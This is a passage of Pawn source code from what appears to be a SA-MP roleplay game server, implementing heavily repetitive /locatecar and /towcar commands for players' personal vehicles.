					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 4)
				{
					if(vInfo[v4][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_4];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 5)
				{
					if(vInfo[v5][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_5];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 6)
				{
					if(vInfo[v6][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_6];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				}
				else if((v3 != 0 && v4 != 0) || (v3 != 0 && v5 != 0) || (v3 != 0 && v6 != 0) || (v4 != 0 && v5 != 0) || (v4 != 0 && v6 != 0) || (v5 != 0 && v6 != 0))
				{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /locatecar <CarID(1-2)>");
				new ccr = strval(tmp);
				if(ccr < 0 && ccr > 6) return SCM(playerid,COLOR_SINA3,"Invalid CarID");

				if(ccr == 1 && PINFO[playerid][pCar_1] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 2 && PINFO[playerid][pCar_2] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 3 && PINFO[playerid][pCar_3] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 4 && PINFO[playerid][pCar_4] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 5 && PINFO[playerid][pCar_5] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 6 && PINFO[playerid][pCar_6] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(ccr == 1)
				{
					if(vInfo[v1][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_1];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 2)
				{
					if(vInfo[v2][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_2];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 3)
				{
					if(vInfo[v3][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_3];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 4)
				{
					if(vInfo[v4][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_4];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 5)
				{
					if(vInfo[v5][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_5];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				else if(ccr == 6)
				{
					if(vInfo[v6][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:x,Float:y,Float:z;
					new car = PlayerInfo[playerid][pCar_6];
					SendMessage(playerid,COLOR_WHITE,"Car location is at {FF0000}red {FFFFFF}marker on map");
					GetVehiclePos(car, x, y, z);
					OnCheckpoint[playerid] = 1;
					SetPlayerCheckpoint(playerid, x, y, z, 6);
					locatemashin[playerid] = 1;
					return 1;
				}
				}
			return 1;
		}

		if(strcmp(cmd, "/towcar", true) == 0)
		{
			if(PINFO[playerid][pVeh1] == 0 && PINFO[playerid][pVeh2] == 0 && PINFO[playerid][pVeh3] == 0 && PINFO[playerid][pVeh4] == 0 && PINFO[playerid][pVeh5] == 0 && PINFO[playerid][pVeh6] == 0) return SCM(playerid,COL_SYN,"You haven't a personal car.");
			new v1 = PINFO[playerid][pVeh1];
			new v2 = PINFO[playerid][pVeh2];
			new v3 = PINFO[playerid][pVeh3];
			new v4 = PINFO[playerid][pVeh4];
			new v5 = PINFO[playerid][pVeh5];
			new v6 = PINFO[playerid][pVeh6];
				if(v1 != 0 && v2 == 0 && v3 == 0 && v4 == 0 && v5 == 0 && v6 == 0)
				{
				new car = PlayerInfo[playerid][pCar_1];
				if (car != 0)
				{
					if(vInfo[v1][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:vh;GetVehicleHealth(car,vh);
					if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
					if(SBizzInfo[8][sbProducts] == 0)
					{
						GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
						return 1;
					}
					if(CarTow(car) && IsUnusedMashin(car))
					{
						new stri[50];
						format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
						GameTextForPlayer(playerid, stri, 5000, 1);
						GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
						SetVehicleToRespawn(car);
						PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
						SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
						SBizzInfo[8][sbProducts]--;
					}
					else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
				}
			}
			else if(v1 == 0 && v2 != 0 && v3 == 0 && v4 == 0 && v5 == 0 && v6 == 0)
				{
				new car = PlayerInfo[playerid][pCar_2];
				if (car != 0)
				{
					if(vInfo[v2][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:vh;GetVehicleHealth(car,vh);
					if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
					if(SBizzInfo[8][sbProducts] == 0)
					{
						GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
						return 1;
					}
					if(CarTow(car) && IsUnusedMashin(car))
					{
						new stri[50];
						format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
						GameTextForPlayer(playerid, stri, 5000, 1);
						GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
						SetVehicleToRespawn(car);
						PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
						SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
						SBizzInfo[8][sbProducts]--;
					}
					else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
				}
			}
			else if(v1 == 0 && v2 == 0 && v3 != 0 && v4 == 0 && v5 == 0 && v6 == 0)
				{
				new car = PlayerInfo[playerid][pCar_3];
				if (car != 0)
				{
					if(vInfo[v3][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:vh;GetVehicleHealth(car,vh);
					if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
					if(SBizzInfo[8][sbProducts] == 0)
					{
						GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
						return 1;
					}
					if(CarTow(car) && IsUnusedMashin(car))
					{
						new stri[50];
						format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
						GameTextForPlayer(playerid, stri, 5000, 1);
						GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
						SetVehicleToRespawn(car);
						PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
						SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
						SBizzInfo[8][sbProducts]--;
					}
					else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
				}
			}
			else if(v1 == 0 && v2 == 0 && v3 == 0 && v4 != 0 && v5 == 0 && v6 == 0)
				{
				new car = PlayerInfo[playerid][pCar_4];
				if (car != 0)
				{
					if(vInfo[v4][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:vh;GetVehicleHealth(car,vh);
					if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
					if(SBizzInfo[8][sbProducts] == 0)
					{
						GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
						return 1;
					}
					if(CarTow(car) && IsUnusedMashin(car))
					{
						new stri[50];
						format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
						GameTextForPlayer(playerid, stri, 5000, 1);
						GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
						SetVehicleToRespawn(car);
						PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
						SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
						SBizzInfo[8][sbProducts]--;
					}
					else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
				}
			}
			else if(v1 == 0 && v2 == 0 && v3 == 0 && v4 == 0 && v5 != 0 && v6 == 0)
				{
				new car = PlayerInfo[playerid][pCar_5];
				if (car != 0)
				{
					if(vInfo[v5][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:vh;GetVehicleHealth(car,vh);
					if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
					if(SBizzInfo[8][sbProducts] == 0)
					{
						GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
						return 1;
					}
					if(CarTow(car) && IsUnusedMashin(car))
					{
						new stri[50];
						format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
						GameTextForPlayer(playerid, stri, 5000, 1);
						GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
						SetVehicleToRespawn(car);
						PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
						SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
						SBizzInfo[8][sbProducts]--;
					}
					else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
				}
			}
			else if(v1 == 0 && v2 == 0 && v3 == 0 && v4 == 0 && v5 == 0 && v6 != 0)
				{
				new car = PlayerInfo[playerid][pCar_6];
				if (car != 0)
				{
					if(vInfo[v6][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new Float:vh;GetVehicleHealth(car,vh);
					if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
					if(SBizzInfo[8][sbProducts] == 0)
					{
						GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
						return 1;
					}
					if(CarTow(car) && IsUnusedMashin(car))
					{
						new stri[50];
						format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
						GameTextForPlayer(playerid, stri, 5000, 1);
						GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
						SetVehicleToRespawn(car);
						PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
						SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
						SBizzInfo[8][sbProducts]--;
					}
					else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
				}
			}
			 else if((v1 != 0 && v2 != 0) || (v1 != 0 && v3 != 0) || (v1 != 0 && v4 != 0) || (v1 != 0 && v5 != 0) || (v1 != 0 && v6 != 0))
			{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /towcar <CarID(1-2)>");
				new ccr = strval(tmp);
				if(ccr < 1 || ccr > 6) return SCM(playerid,COLOR_SINA3,"Invalid CarID.");
				if(ccr == 1)
				{
					new car = PlayerInfo[playerid][pCar_1];
					if (car != 0)
					{
						if(vInfo[v1][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 2)
				{
					if(vInfo[v2][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_2];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 3)
				{
					if(vInfo[v3][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_3];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 4)
				{
					if(vInfo[v4][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_4];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 5)
				{
					if(vInfo[v5][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_5];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 6)
				{
					if(vInfo[v6][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_6];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
			}
			else if((v3 != 0 && v4 != 0) || (v3 != 0 && v5 != 0) || (v3 != 0 && v6 != 0) || (v4 != 0 && v5 != 0) || (v4 != 0 && v6 != 0) || (v5 != 0 && v6 != 0))
			{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /towcar <CarID(1-2)>");
				new ccr = strval(tmp);
				if(ccr < 1 || ccr > 6) return SCM(playerid,COLOR_SINA3,"Invalid CarID.");
				if(ccr == 1)
				{
					new car = PlayerInfo[playerid][pCar_1];
					if (car != 0)
					{
						if(vInfo[v1][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 2)
				{
					if(vInfo[v2][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_2];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 3)
				{
					if(vInfo[v3][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_3];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
			if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do it now.");                   if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 4)
				{
					if(vInfo[v4][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_4];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 5)
				{
					if(vInfo[v5][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_5];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 6)
				{
					if(vInfo[v6][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
					new car = PlayerInfo[playerid][pCar_6];
					if (car != 0)
					{
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
			}
			else if((v2 != 0 && v3 != 0) || (v2 != 0 && v4 != 0) || (v2 != 0 && v5 != 0) || (v2 != 0 && v6 != 0) || (v3 != 0 && v4 != 0) || (v3 != 0 && v5 != 0) || (v3 != 0 && v6 != 0))
			{
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /towcar <CarID(1-2)>");
				new ccr = strval(tmp);
				if(ccr < 1 || ccr > 6) return SCM(playerid,COLOR_SINA3,"Invalid CarID.");
				if(ccr == 1)
				{
					new car = PlayerInfo[playerid][pCar_1];
					if (car != 0)
					{
						if(vInfo[v1][gParked] == 1) return SCM(playerid,COLOR_Good,"Your vehicle is on your garage use /gget.");
						new Float:vh;GetVehicleHealth(car,vh);
						if(vh < 249.9) return SCM(playerid,COLOR_SINA3,"You cannot do that now.");
						if(SBizzInfo[8][sbProducts] == 0)
						{
							GameTextForPlayer(playerid, "~r~Out Of Stock", 5000, 1);
							return 1;
						}
						if(CarTow(car) && IsUnusedMashin(car))
						{
							new stri[50];
							format(stri, 50, "~w~Car~n~~g~Towed~n~~r~-$%s", FormatNumber(SBizzInfo[8][sbEntranceCost]));
							GameTextForPlayer(playerid, stri, 5000, 1);
							GivePlayerPool(playerid,-SBizzInfo[8][sbEntranceCost]);
							SetVehicleToRespawn(car);
							PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
							SBizzInfo[8][sbTill] += SBizzInfo[8][sbEntranceCost];//towcar buisness
							SBizzInfo[8][sbProducts]--;
						}
						else GameTextForPlayer(playerid, "~w~Car is~n~in ~r~use", 5000, 1);
					}
				}
				else if(ccr == 2)
				{
